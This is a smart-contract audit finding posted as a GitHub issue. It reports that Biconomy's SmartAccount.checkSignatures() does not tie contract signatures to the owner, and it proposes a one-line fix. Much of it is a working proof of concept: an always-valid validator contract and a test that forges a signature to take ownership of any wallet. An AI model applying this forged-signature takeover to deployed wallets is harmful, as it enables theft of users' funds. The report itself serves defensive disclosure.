code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L314-L343

Vulnerability details

Impact

All funds in all SCWs (smart contract wallets) can be stolen. Attackers can become the owner of any scw. Attackers can control any scw, execute any function of the smart accounts.

Proof of Concept

Because the SmartAccount.checkSignatures() does not check whether the _signer is the owner for contract signatures, any contract that implements ISignatureValidator can be validated.

Therefore, an attacker only needs to deploy a contract that implements ISignatureValidator, and then can control any scw by calling execTransaction with a forged signature of contract signature type.

Test code for PoC:

diff --git a/scw-contracts/contracts/smart-contract-wallet/test/Validator.sol b/scw-contracts/contracts/smart-contract-wallet/test/Validator.sol
new file mode 100644
index 0000000..5daae7a
--- /dev/null
+++ b/scw-contracts/contracts/smart-contract-wallet/test/Validator.sol
@@ -0,0 +1,9 @@
+// SPDX-License-Identifier: MIT
+pragma solidity 0.8.12;
+
+contract Validator {
+    bytes4 internal constant EIP1271_MAGIC_VALUE = 0x20c13b0b;
+    function isValidSignature(bytes memory _data, bytes memory _signature) public view virtual returns (bytes4) {
+        return EIP1271_MAGIC_VALUE;
+    }
+}
\ No newline at end of file
diff --git a/scw-contracts/test/smart-wallet/testGroup1.ts b/scw-contracts/test/smart-wallet/testGroup1.ts
index cb006f1..de6d820 100644
--- a/scw-contracts/test/smart-wallet/testGroup1.ts
+++ b/scw-contracts/test/smart-wallet/testGroup1.ts
@@ -98,6 +98,58 @@ describe("Base Wallet Functionality", function () {
     await token.mint(owner, ethers.utils.parseEther("1000000"));
   });

+  it.only("Attack: anyone can control any scw", async function () {
+    const user = accounts[1];
+    const userAddr = await user.getAddress();
+    const scwAddr = await walletFactory.getAddressForCounterfactualWallet(userAddr, 0);
+    await walletFactory.connect(user).deployCounterFactualWallet(userAddr, entryPoint.address, handler.address, 0);
+    const scw = await ethers.getContractAt(
+      "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount",
+      scwAddr
+    );
+    expect(await scw.owner()).to.equal(userAddr);
+
+    const attacker = accounts[2];
+    const attackerAddr = await attacker.getAddress();
+
+    //! Deploy a Validator contract
+    const ValidatorFactory = await ethers.getContractFactory("Validator");
+    const validator = await ValidatorFactory.connect(attacker).deploy();
+    await validator.deployed();
+
+    const SmartAccountFactory = await ethers.getContractFactory("SmartAccount");
+    const transaction: Transaction = {
+      to: scwAddr,
+      value: 0,
+      data: SmartAccountFactory.interface.encodeFunctionData("setOwner", [attackerAddr]),
+      operation: 0,
+      targetTxGas: 0,
+    };
+    const refundInfo: FeeRefund = {
+      baseGas: 0,
+      gasPrice: 0,
+      tokenGasPriceFactor: 0,
+      gasToken: ethers.constants.AddressZero,
+      refundReceiver: ethers.constants.AddressZero,
+    };
+
+    //! Forge a contract signature
+    const signature = "0x"
+        + validator.address.substring(2).padStart(64, "0") // r: bytes32(validator address)
+        + "0000000000000000000000000000000000000000000000000000000000000041" // s: bytes32(65)
+        + "00" // v: 0
+        + "0000000000000000000000000000000000000000000000000000000000000000"; // contractSignature: bytes32(0)
+
+    //! The attacker can call any function of the scw successfully by the forged signature
+    await expect(
+      scw.connect(attacker).execTransaction(transaction, 0, refundInfo, signature)
+    ).to.emit(scw, "ExecutionSuccess");
+
+    //! The attacker becomes the owner of the scw
+    expect(await scw.owner()).to.equal(attackerAddr);
+    expect(await scw.owner()).to.not.equal(userAddr);
+  });
+
   // describe("Wallet initialization", function () {
   it("Should set the correct states on proxy", async function () {
     const expected = await walletFactory.getAddressForCounterfactualWallet(

Tools Used

VS Code

Recommended Mitigation Steps

Validate the _signer for contract signature type in SmartAccount.checkSignatures():

Implementation:

diff --git a/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol b/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol
index c4f69a8..16622ab 100644
--- a/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol
+++ b/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol
@@ -340,6 +340,7 @@ contract SmartAccount is
                     contractSignature := add(add(signatures, s), 0x20)
                 }
                 require(ISignatureValidator(_signer).isValidSignature(data, contractSignature) == EIP1271_MAGIC_VALUE, "BSA024");
+            require(_signer == owner, "INVALID_SIGNER");
         }
         else if(v > 30) {
             // If v > 30 then default va (27,28) has been adjusted for eth_sign flow

c4-judge commented 1 year ago

gzeon-c4 marked the issue as duplicate of #175

c4-sponsor commented 1 year ago

livingrockrises marked the issue as sponsor confirmed